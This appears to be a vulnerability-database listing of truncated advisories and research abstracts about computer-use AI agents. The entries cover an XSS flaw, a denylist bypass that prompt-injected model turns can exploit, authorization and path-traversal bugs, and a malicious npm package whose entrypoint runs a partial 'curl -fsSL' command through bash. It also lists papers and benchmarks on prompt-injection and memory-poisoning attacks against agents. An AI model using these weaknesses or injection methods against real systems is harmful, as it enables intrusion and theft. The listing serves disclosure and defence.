CVE-2026-108722 open-computer-use through commit 610bac8 Stored XSS via log.html Session Log

open-computer-use through commit 610bac8 contains a stored cross-site scripting vulnerability in Logger.writelogfile in oscomputeruse/logging.py, which writes transcript text into log.html without HTML escaping. Attackers controlling sandbox content, such as web pages or files appearing in...

CVE-2026-108722

The open-computer-use project (specifically through commit 610bac8) is vulnerable to a stored cross-site scripting (XSS) flaw. The issue resides in the Logger.write_log_file function within os_computer_use/logging.py, which fails to perform HTML escaping when writing transcript text into log.html...

EUVD-2026-96888

open-computer-use through commit 610bac8 contains a stored cross-site scripting vulnerability in Logger.writelogfile in oscomputeruse/logging.py, which writes transcript text into log.html without HTML escaping. Attackers controlling sandbox content, such as web pages or files appearing in...

EUVD-2026-96995

Open Computer Use through 1.0.0 on macOS contains an improper case sensitivity handling vulnerability that allows local MCP callers to bypass the password-manager denylist using case-variant bundle identifiers. Attackers, including prompt-injected model turns, can pass identifiers like...

CVE-2026-108721 Open Computer Use through 1.0.0 Denylist Bypass via Case-Variant Bundle ID

Open Computer Use through 1.0.0 on macOS contains an improper case sensitivity handling vulnerability that allows local MCP callers to bypass the password-manager denylist using case-variant bundle identifiers. Attackers, including prompt-injected model turns, can pass identifiers like...

CVE-2026-108721

The Open Computer Use through 1.0.0 application on macOS is vulnerable to an improper case sensitivity handling flaw (CWE-178 ). This vulnerability allows local MCP callers to bypass the password-manager denylist by using case-variant bundle identifiers, such as com.1Password.1Password. A success...

cua-kit

CUA-Kit Ein Werkzeugkasten zur Aufzählung und Interaktion mit Computer-Use-Agents unter Windows und macOS. Werkzeuge Werkzeug| Beschreibung| Ausgaben ---|---|--- cua-enum| Computer-Use-Agent-Konfigurationen aufzählen Claude Code, Codex CLI, Cursor, Gemini CLI| .exe, .x64.o cua-exec| Befehle von...

StepJack

StepJack: Benchmarking della sicurezza degli agenti computer-use contro l'iniezione indiretta di prompt in più passaggi Setup 1. Configurazione dell'ambiente Python Per prima cosa, installa tutte le dipendenze e assicurati di utilizzare Python 3.10. conda create -n stepjack python=3.10 conda...

CUAHarm

Misurazione della dannosità degli agenti che utilizzano computer 🤗 Hugging Face 📄 Paper 📋 Introduzione CUAHarm è un benchmark progettato per valutare i rischi per la sicurezza degli agenti che utilizzano computer CUA - agenti IA che possono controllare autonomamente i computer per eseguire azioni...

Securing Computer-Use Agents against Branch Steering Attacks

Modern Computer Use Agents CUAs directly interact with graphical user interfaces and execute third-party web tools, exposing them to indirect prompt injection across every rendered page and tool response. While the Dual-LLM pattern is the primary system-level architecture offering formal security...

ZoneClaw: Mitigating Persistent Memory Attacks by Establishing Memory-Zoning in OpenClaw-Style Computer-Use Agents

Computer-use agents increasingly operate as long-running assistants through persistent workspace memory, which OpenClaw-style CUAs realize as automatically reloaded files that hold user instructions, system summaries, and external claims at the same privilege level. Here, remembering a claim...

CVE-2026-100587

OpenClaw versions before 2026.7.1 fail to properly validate owner authorization in the Codex computer-use installation command. Non-owner channel senders can install arbitrary plugins and execute MCP processes with OpenClaw user privileges, affecting host confidentiality, integrity, and...

CVE-2026-100587

OpenClaw versions before 2026.7.1 fail to properly validate owner authorization in the Codex computer-use installation command. Non-owner channel senders can install arbitrary plugins and execute MCP processes with OpenClaw user privileges, affecting host confidentiality, integrity, and...

CVE-2026-100587

Versions of OpenClaw prior to 2026.7.1 are vulnerable to an authorization bypass in the Codex computer-use installation command . The flaw occurs because the system fails to properly validate owner authorization, allowing non-owner channel senders to install arbitrary plugins and execute MCP proc...

Malicious Package

Overview gemini-computer-use is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

MAL-2026-16355 Malicious code in gemini-computer-use (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847 The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL...

Malicious code in gemini-computer-use (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847 The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL...

AgentHijack: Visual Patch Attacks on Multimodal Computer-Use Agents

This paper presents an end-to-end evaluation framework for image-triggered command injection against computer-use agents CUAs. The goal is to test whether a local visual patch can induce verifiable environmental consequences along the full chain of screenshot input, VLM generation, action parsing...

SIR: Self-Improving Red-Teaming for Compute Use Agents

Computer use agents CUAs are vision-language models that perceive a screen and act on a real operating system through mouse, keyboard, and terminal, and they are increasingly deployed to automate everyday digital tasks. Because they can be exposed to untrusted content while operating, they are...

CVE-2026-72773 n8n before 2.32.1 Path Traversal via computer-use search_files

n8n before 2.31.5 and 2.32.x before 2.32.1 contain a path-confinement bypass in the @n8n/computer-use file-search searchfiles tool. A crafted search pattern can bypass the base-directory confinement check and expand to locations outside the configured directory, causing the tool to return the nam...